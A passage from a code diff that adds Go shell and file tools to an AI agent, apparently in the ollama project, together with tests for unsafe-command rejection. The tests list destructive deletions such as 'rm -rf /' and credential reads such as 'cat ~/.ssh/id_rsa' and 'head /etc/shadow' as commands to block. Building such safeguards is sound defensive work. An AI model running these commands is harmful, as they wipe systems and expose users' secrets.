+	if target == "/*" {
+		return true
+	}
+	target = strings.TrimSuffix(target, "/*")
+	for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} {
+		if strings.HasPrefix(target, prefix) {
+			return true
+		}
+	}
+	for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} {
+		if strings.HasPrefix(target, prefix) {
+			return true
+		}
+	}
+	for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} {
+		if target == exact {
+			return true
+		}
+	}
+	return false
+}
+
+func shellSafetyFields(command string) []string {
+	return strings.Fields(shellSafetyText(command))
+}
+
+func shellSafetyText(command string) string {
+	command = strings.ToLower(command)
+	return strings.NewReplacer(
+		"\\", "/",
+		"\n", " ",
+		"\t", " ",
+		";", " ",
+		"&", " ",
+		"|", " ",
+		"(", " ",
+		")", " ",
+		"\"", "",
+		"'", "",
+		"`", "",
+	).Replace(command)
+}
+
+func readFinalWorkingDir(path string) string {
+	content, err := os.ReadFile(path)
+	if err != nil {
+		return ""
+	}
+	workingDir := strings.TrimPrefix(string(content), "\ufeff")
+	workingDir = strings.TrimSpace(workingDir)
+	if workingDir == "" {
+		return ""
+	}
+	workingDir = normalizeBashWorkingDir(workingDir)
+	info, err := os.Stat(workingDir)
+	if err != nil || !info.IsDir() {
+		return ""
+	}
+	return workingDir
+}
+
+func normalizeBashWorkingDir(workingDir string) string {
+	if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
+		workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
+	}
+	workingDir = filepath.Clean(filepath.FromSlash(workingDir))
+	if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
+		workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
+	}
+	return workingDir
+}
+
+func isASCIIAlpha(b byte) bool {
+	return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
+}
+
+type boundedOutput struct {
+	Limit   int
+	buf     []byte
+	omitted int
+}
+
+func (b *boundedOutput) Write(p []byte) (int, error) {
+	if b.Limit <= 0 {
+		b.omitted += len(p)
+		return len(p), nil
+	}
+	remaining := b.Limit - len(b.buf)
+	if remaining <= 0 {
+		b.omitted += len(p)
+		return len(p), nil
+	}
+	if len(p) <= remaining {
+		b.buf = append(b.buf, p...)
+		return len(p), nil
+	}
+	writeLen := utf8SafePrefixLen(p[:remaining])
+	b.buf = append(b.buf, p[:writeLen]...)
+	b.omitted += len(p) - writeLen
+	return len(p), nil
+}
+
+func (b *boundedOutput) Len() int {
+	return len(b.buf) + b.omitted
+}
+
+func (b *boundedOutput) String(label string) string {
+	safeLen := utf8SafePrefixLen(b.buf)
+	content := string(b.buf[:safeLen])
+	omitted := b.omitted + len(b.buf) - safeLen
+	if omitted == 0 {
+		return content
+	}
+	return content + agent.TruncMarker(label, safeLen, 0, omitted, false, "")
+}
+
+func utf8SafePrefixLen(p []byte) int {
+	if len(p) == 0 {
+		return 0
+	}
+	for i := 0; i < len(p); {
+		r, size := utf8.DecodeRune(p[i:])
+		if r == utf8.RuneError && size == 1 {
+			return i
+		}
+		i += size
+	}
+	return len(p)
+}

agent/tools/bash_test.go

@@ -0,0 +1,258 @@
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+	"unicode/utf8"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestBashReportsFinalWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	subdir := filepath.Join(root, "sub")
+	if err := os.Mkdir(subdir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantDir, err := filepath.EvalSymlinks(subdir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.WorkingDir != wantDir {
+		t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
+	}
+	if !strings.Contains(result.Content, "sub") {
+		t.Fatalf("content = %q, want pwd output", result.Content)
+	}
+}
+
+func TestBashBoundsOutputWhileRunning(t *testing.T) {
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "[stdout truncated: showing first ~") || !strings.Contains(result.Content, "omitted ~") || !strings.Contains(result.Content, " tokens.]") {
+		t.Fatalf("content = %q, want stdout truncation marker", result.Content)
+	}
+	if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
+		t.Fatalf("captured x count = %d, want %d", count, want)
+	}
+	if len(result.Content) > maxBashOutputBytes+200 {
+		t.Fatalf("content length = %d, want bounded output", len(result.Content))
+	}
+}
+
+func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) {
+	var out boundedOutput
+	out.Limit = len([]byte("abc")) + 1
+
+	if _, err := out.Write([]byte("abcédef")); err != nil {
+		t.Fatal(err)
+	}
+	content := out.String("stdout")
+	if !utf8.ValidString(content) {
+		t.Fatalf("content is not valid UTF-8: %q", content)
+	}
+	if strings.ContainsRune(content, utf8.RuneError) {
+		t.Fatalf("content contains replacement rune: %q", content)
+	}
+	if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content)
+	}
+}
+
+func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) {
+	var out boundedOutput
+	out.Limit = len([]byte("abcé"))
+
+	if _, err := out.Write([]byte("abcédef")); err != nil {
+		t.Fatal(err)
+	}
+	if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want complete UTF-8 prefix", content)
+	}
+}
+
+func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) {
+	var out boundedOutput
+	out.Limit = 4
+
+	if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := out.Write([]byte{0xa9}); err != nil {
+		t.Fatal(err)
+	}
+	if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content)
+	}
+}
+
+func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) {
+	input := []byte{'a', 0xc0, 0x80, 'b'}
+	if got := utf8SafePrefixLen(input); got != 1 {
+		t.Fatalf("safe prefix length = %d, want 1", got)
+	}
+}
+
+func TestBoundedOutputDropsMalformedUTF8(t *testing.T) {
+	var out boundedOutput
+	out.Limit = 4
+
+	if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil {
+		t.Fatal(err)
+	}
+	content := out.String("stdout")
+	if !utf8.ValidString(content) {
+		t.Fatalf("content is not valid UTF-8: %q", content)
+	}
+	if strings.ContainsRune(content, utf8.RuneError) {
+		t.Fatalf("content contains replacement rune: %q", content)
+	}
+	if !strings.HasPrefix(content, "a\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want valid prefix and truncation marker", content)
+	}
+}
+
+func TestBashReportsCanceledCommand(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "Error: command was canceled") {
+		t.Fatalf("content = %q, want canceled message", result.Content)
+	}
+	if strings.Contains(result.Content, "Exit code: -1") {
+		t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
+	}
+}
+
+func TestRejectUnsafeShellCommand(t *testing.T) {
+	tests := []struct {
+		name    string
+		command string
+		wantErr bool
+	}{
+		{name: "rm root", command: "rm -rf /", wantErr: true},
+		{name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true},
+		{name: "rm home", command: "rm -fr $HOME", wantErr: true},
+		{name: "rm root wildcard", command: "rm -rf /*", wantErr: true},
+		{name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true},
+		{name: "rm cwd", command: "rm -rf .", wantErr: true},
+		{name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true},
+		{name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true},
+		{name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true},
+		{name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true},
+		{name: "shadow", command: "head /etc/shadow", wantErr: true},
+		{name: "netrc", command: "cat ~/.netrc", wantErr: true},
+		{name: "docker config", command: "cat ~/.docker/config.json", wantErr: true},
+		{name: "gnupg dir", command: "cat ~/.gnupg/private-keys-v1.d/key", wantErr: true},
+		{name: "gh hosts", command: "cat ~/.config/gh/hosts.yml", wantErr: true},
+		{name: "ssh config", command: "cat ~/.ssh/config", wantErr: true},
+		{name: "printenv dump", command: "printenv", wantErr: false},
+		{name: "delete build dir", command: "rm -rf build", wantErr: false},
+		{name: "read project file", command: "cat README.md", wantErr: false},
+		{name: "mention key text", command: "rg id_rsa docs", wantErr: false},
+		{name: "env example", command: "cat .env.example", wantErr: false},
+		{name: "rm build then unrelated tilde path", command: "rm -rf build && echo ~/.ssh/config", wantErr: false},
+		{name: "rm build then unrelated slash path", command: "rm -rf build; cat /etc/passwd", wantErr: false},
+		{name: "rm build then unrelated star glob", command: "rm -rf build && ls *.go", wantErr: false},
+		{name: "rm multiple targets one unsafe", command: "rm -rf build /etc", wantErr: true},
+		{name: "rm unsafe then safe piped", command: "rm -rf / | tee log", wantErr: true},
+		{name: "rm unsafe via command substitution", command: "rm -rf $(echo /)", wantErr: true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := rejectUnsafeShellCommand(tt.command)
+			if tt.wantErr && err == nil {
+				t.Fatal("expected unsafe command to be rejected")
+			}
+			if !tt.wantErr && err != nil {
+				t.Fatalf("command rejected: %v", err)
+			}
+		})
+	}
+}
+
+func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) {
+	_, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": "rm -rf /",
+	})
+	if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") {
+		t.Fatalf("err = %v, want unsafe command rejection", err)
+	}
+}
+
+func shellTestCommand(unix, windows string) string {
+	if runtime.GOOS == "windows" {
+		return windows
+	}
+	return unix
+}
+
+func shellTestCapturedXCount() int {
+	if runtime.GOOS == "windows" {
+		return maxBashOutputBytes
+	}
+	return maxBashOutputBytes / 2
+}
+
+func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
+	dir := t.TempDir()
+	cwdFile := filepath.Join(dir, "cwd")
+	notDir := filepath.Join(dir, "file.txt")
+	if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != "" {
+		t.Fatalf("regular file cwd = %q, want empty", got)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != "" {
+		t.Fatalf("missing cwd = %q, want empty", got)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != dir {
+		t.Fatalf("directory cwd = %q, want %q", got, dir)
+	}
+}
+
+func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("windows path normalization")
+	}
+	got := normalizeBashWorkingDir("/c/Users/jdoe/project")
+	want := filepath.Clean(`C:\Users\jdoe\project`)
+	if got != want {
+		t.Fatalf("working dir = %q, want %q", got, want)
+	}
+}

agent/tools/bash_unix.go

@@ -0,0 +1,49 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"syscall"
+)
+
+func shellToolName() string {
+	return "bash"
+}
+
+func shellToolDescription() string {
+	return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
+}
+
+func shellCommandDescription() string {
+	return "The bash command to execute."
+}
+
+func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
+	script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
+	cmd := exec.CommandContext(ctx, "bash", "-c", script)
+	configureBashCommand(cmd)
+	return cmd
+}
+
+func shellQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
+}
+
+func configureBashCommand(cmd *exec.Cmd) {
+	cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+}
+
+func runBashCommand(cmd *exec.Cmd) error {
+	return cmd.Run()
+}
+
+func killBashCommand(cmd *exec.Cmd) error {
+	if cmd == nil || cmd.Process == nil {
+		return nil
+	}
+	_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
+	return nil
+}

agent/tools/bash_unix_test.go

@@ -0,0 +1,40 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
+	cmd := exec.Command("bash", "-c", "true")
+	configureBashCommand(cmd)
+	if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
+		t.Fatalf("configureBashCommand should start bash in a new process group")
+	}
+}
+
+func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) {
+	start := time.Now()
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": "sleep 5 & echo done",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second {
+		t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay)
+	}
+	if !strings.Contains(result.Content, "done") {
+		t.Fatalf("content = %q, want command output", result.Content)
+	}
+	if !strings.Contains(result.Content, "output pipes did not close") {
+		t.Fatalf("content = %q, want wait delay message", result.Content)
+	}
+}

agent/tools/bash_windows.go

@@ -0,0 +1,134 @@
+//go:build windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"sync"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var bashJobHandles sync.Map
+
+func shellToolName() string {
+	return "powershell"
+}
+
+func shellToolDescription() string {
+	return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
+}
+
+func shellCommandDescription() string {
+	return "The PowerShell command to execute."
+}
+
+func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
+	return exec.CommandContext(
+		ctx,
+		"powershell.exe",
+		"-NoLogo",
+		"-NoProfile",
+		"-NonInteractive",
+		"-ExecutionPolicy",
+		"Bypass",
+		"-Command",
+		powerShellCommandScript(command, cwdPath),
+	)
+}
+
+func powerShellCommandScript(command, cwdPath string) string {
+	cwdPath = powerShellSingleQuote(cwdPath)
+	return strings.Join([]string{
+		"$__ollama_status = 0",
+		". {",
+		"try {",
+		command,
+		"  $__ollama_success = $?",
+		"  $__ollama_last_exit = $global:LASTEXITCODE",
+		"  if ($__ollama_success) {",
+		"    $__ollama_status = 0",
+		"  } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
+		"    $__ollama_status = $__ollama_last_exit",
+		"  } else {",
+		"    $__ollama_status = 1",
+		"  }",
+		"} catch {",
+		"  Write-Error $_",
+		"  $__ollama_status = 1",
+		"} finally {",
+		"  try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
+		"}",
+		"} | Out-String -Stream -Width 4096",
+		"exit $__ollama_status",
+	}, "\n")
+}
+
+func powerShellSingleQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "''") + "'"
+}
+
+func runBashCommand(cmd *exec.Cmd) error {
+	if err := cmd.Start(); err != nil {
+		return err
+	}
+	if job, err := createBashJob(cmd.Process.Pid); err == nil {
+		bashJobHandles.Store(cmd.Process.Pid, job)
+		defer releaseBashJob(cmd.Process.Pid)
+	}
+	return cmd.Wait()
+}
+
+func killBashCommand(cmd *exec.Cmd) error {
+	if cmd == nil || cmd.Process == nil {
+		return nil
+	}
+	releaseBashJob(cmd.Process.Pid)
+	_ = cmd.Process.Kill()
+	return nil
+}
+
+func createBashJob(pid int) (windows.Handle, error) {
+	job, err := windows.CreateJobObject(nil, nil)
+	if err != nil {
+		return 0, err
+	}
+
+	info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
+	info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
+	if _, err := windows.SetInformationJobObject(
+		job,
+		windows.JobObjectExtendedLimitInformation,
+		uintptr(unsafe.Pointer(&info)),
+		uint32(unsafe.Sizeof(info)),
+	); err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+
+	process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
+	if err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+	defer windows.CloseHandle(process)
+
+	if err := windows.AssignProcessToJobObject(job, process); err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+	return job, nil
+}
+
+func releaseBashJob(pid int) {
+	value, ok := bashJobHandles.LoadAndDelete(pid)
+	if !ok {
+		return
+	}
+	if job, ok := value.(windows.Handle); ok {
+		_ = windows.CloseHandle(job)
+	}
+}

agent/tools/bash_windows_test.go

@@ -0,0 +1,15 @@
+//go:build windows
+
+package tools
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) {
+	script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`)
+	if !strings.Contains(script, "Out-String -Stream -Width 4096") {
+		t.Fatalf("script = %q, want explicit Out-String width", script)
+	}
+}

agent/tools/file.go

@@ -0,0 +1,558 @@
+package tools
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	maxReadBytes = 200000
+)
+
+type Read struct{}
+
+func (r *Read) Name() string {
+	return "read"
+}
+
+func (r *Read) Description() string {
+	return "Read a text file from the current working directory."
+}
+
+func (r *Read) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("path", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Path to the file to read, relative to the working directory.",
+	})
+	props.Set("start", api.ToolProperty{
+		Type:        api.PropertyType{"integer"},
+		Description: "Optional 1-based line to start reading from.",
+	})
+	props.Set("end", api.ToolProperty{
+		Type:        api.PropertyType{"integer"},
+		Description: "Optional 1-based inclusive line to stop reading at.",
+	})
+	return api.ToolFunction{
+		Name:        r.Name(),
+		Description: r.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"path"},
+		},
+	}
+}
+
+func (r *Read) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg / agent.OptionalIntArg for args (see agent package cleanup plan).
+	path, ok := args["path"].(string)
+	if !ok || strings.TrimSpace(path) == "" {
+		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
+	}
+
+	file, info, err := openRegularFile(toolCtx.WorkingDir, path, true)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	defer file.Close()
+
+	selection, err := readSelectionFromArgs(args)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	if !selection.enabled && info.Size() > maxReadBytes {
+		return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
+	}
+
+	select {
+	case <-ctx.Done():
+		return agent.ToolResult{}, ctx.Err()
+	default:
+	}
+
+	var content string
+	if selection.enabled {
+		content, err = readLineSelection(file, selection)
+	} else {
+		var contentBytes []byte
+		contentBytes, err = readAllWithinLimit(file, maxReadBytes)
+		content = string(contentBytes)
+	}
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	return agent.ToolResult{Content: content}, nil
+}
+
+type Edit struct{}
+
+func (e *Edit) Name() string {
+	return "edit"
+}
+
+func (e *Edit) Description() string {
+	return "Edit a text file in the current working directory by replacing exact text."
+}
+
+func (e *Edit) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("path", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Path to the file to edit, relative to the working directory.",
+	})
+	props.Set("old_text", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Exact text to replace.",
+	})
+	props.Set("new_text", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Replacement text.",
+	})
+	props.Set("replace_all", api.ToolProperty{
+		Type:        api.PropertyType{"boolean"},
+		Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
+	})
+	return api.ToolFunction{
+		Name:        e.Name(),
+		Description: e.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"path", "old_text", "new_text"},
+		},
+	}
+}
+
+func (e *Edit) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg / agent.OptionalBoolArg for args (see agent package cleanup plan).
+	path, ok := args["path"].(string)
+	if !ok || strings.TrimSpace(path) == "" {
+		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
+	}
+
+	oldText, ok := args["old_text"].(string)
+	if !ok || oldText == "" {
+		return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
+	}
+
+	newText, ok := args["new_text"].(string)
+	if !ok {
+		return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
+	}
+
+	replaceAll, _ := args["replace_all"].(bool)
+
+	if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	file, info, err := openRegularFile(toolCtx.WorkingDir, path, false)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	if info.Size() > maxReadBytes {
+		file.Close()
+		return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
+	}
+
+	select {
+	case <-ctx.Done():
+		file.Close()
+		return agent.ToolResult{}, ctx.Err()
+	default:
+	}
+
+	contentBytes, err := readAllWithinLimit(file, maxReadBytes)
+	if closeErr := file.Close(); err == nil && closeErr != nil {
+		err = closeErr
+	}
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	content := string(contentBytes)
+	matches := strings.Count(content, oldText)
+	if matches == 0 {
+		return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
+	}
+	if matches > 1 && !replaceAll {
+		return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
+	}
+
+	var updated string
+	if replaceAll {
+		updated = strings.ReplaceAll(content, oldText, newText)
+	} else {
+		updated = strings.Replace(content, oldText, newText, 1)
+	}
+	if len(updated) > maxReadBytes {
+		return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
+	}
+
+	if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
+}
+
+func cleanRelativePath(path string) (string, error) {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return "", fmt.Errorf("path parameter is required")
+	}
+	if filepath.IsAbs(path) {
+		return "", fmt.Errorf("absolute paths are not allowed")
+	}
+	cleaned := filepath.Clean(path)
+	if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
+		return "", fmt.Errorf("path escapes working directory")
+	}
+	return cleaned, nil
+}
+
+func openRegularFile(workingDir, path string, allowAbsolute bool) (*os.File, os.FileInfo, error) {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return nil, nil, fmt.Errorf("path parameter is required")
+	}
+	if allowAbsolute && filepath.IsAbs(path) {
+		cleaned := filepath.Clean(path)
+		info, err := os.Lstat(cleaned)
+		if err != nil {
+			return nil, nil, err
+		}
+		if info.Mode()&os.ModeSymlink != 0 {
+			return nil, nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
+		}
+		if err := rejectNonRegularFile(path, info); err != nil {
+			return nil, nil, err
+		}
+		file, err := os.Open(cleaned)
+		if err != nil {
+			return nil, nil, err
+		}
+		info, err = file.Stat()
+		if err != nil {
+			file.Close()
+			return nil, nil, err
+		}
+		if err := rejectNonRegularFile(path, info); err != nil {
+			file.Close()
+			return nil, nil, err
+		}
+		return file, info, nil
+	}
+
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return nil, nil, err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer root.Close()
+
+	if _, err := regularRootFileInfo(root, rel, path); err != nil {
+		return nil, nil, err
+	}
+	file, err := root.Open(rel)
+	if err != nil {
+		return nil, nil, rootPathError(err)
+	}
+	info, err := file.Stat()
+	if err != nil {
+		file.Close()
+		return nil, nil, err
+	}
+	if err := rejectNonRegularFile(path, info); err != nil {
+		file.Close()
+		return nil, nil, err
+	}
+	return file, info, nil
+}
+
+func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) {
+	info, err := root.Lstat(rel)
+	if err != nil {
+		return nil, rootPathError(err)
+	}
+	// Reject symlinks outright. os.Root.Open follows symlinks via openat
+	// without O_NOFOLLOW, so a symlink inside the working root that points
+	// outside it (e.g. ./notes -> ~/.ssh/id_rsa) would otherwise be read
+	// transparently, bypassing the working-directory confinement that the
+	// bash denylist enforces for direct credential reads. The caller must
+	// operate on the real target file instead.
+	if info.Mode()&os.ModeSymlink != 0 {
+		return nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
+	}
+	if err := rejectNonRegularFile(path, info); err != nil {
+		return nil, err
+	}
+	return info, nil
+}
+
+func rejectNonRegularFile(path string, info os.FileInfo) error {
+	if info.IsDir() {
+		return fmt.Errorf("%s is a directory", path)
+	}
+	if !info.Mode().IsRegular() {
+		return fmt.Errorf("%s is not a regular file", path)
+	}
+	return nil
+}
+
+func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return err
+	}
+	defer root.Close()
+	if err := rejectRootFinalSymlink(root, rel, path); err != nil {
+		return err
+	}
+
+	parent, name := filepath.Split(rel)
+	tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
+	for i := 0; ; i++ {
+		candidateName := tmpBase
+		if i > 0 {
+			candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
+		}
+		candidate := filepath.Join(parent, candidateName)
+		file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
+		if os.IsExist(err) {
+			continue
+		}
+		if err != nil {
+			return rootPathError(err)
+		}
+		if err := file.Chmod(perm); err != nil {
+			closeErr := file.Close()
+			_ = root.Remove(candidate)
+			if closeErr != nil {
+				return closeErr
+			}
+			return err
+		}
+		writeErr := writeAllAndSync(file, data)
+		closeErr := file.Close()
+		if writeErr != nil || closeErr != nil {
+			_ = root.Remove(candidate)
+			if writeErr != nil {
+				return writeErr
+			}
+			return closeErr
+		}
+		if err := root.Rename(candidate, rel); err != nil {
+			_ = root.Remove(candidate)
+			return rootPathError(err)
+		}
+		return nil
+	}
+}
+
+func rejectFinalSymlink(workingDir, path string) error {
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return err
+	}
+	defer root.Close()
+	return rejectRootFinalSymlink(root, rel, path)
+}
+
+func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
+	info, err := root.Lstat(rel)
+	if err != nil {
+		return rootPathError(err)
+	}
+	if info.Mode()&os.ModeSymlink != 0 {
+		return fmt.Errorf("%s is a symlink; edit the target file directly", path)
+	}
+	return nil
+}
+
+func rootPathError(err error) error {
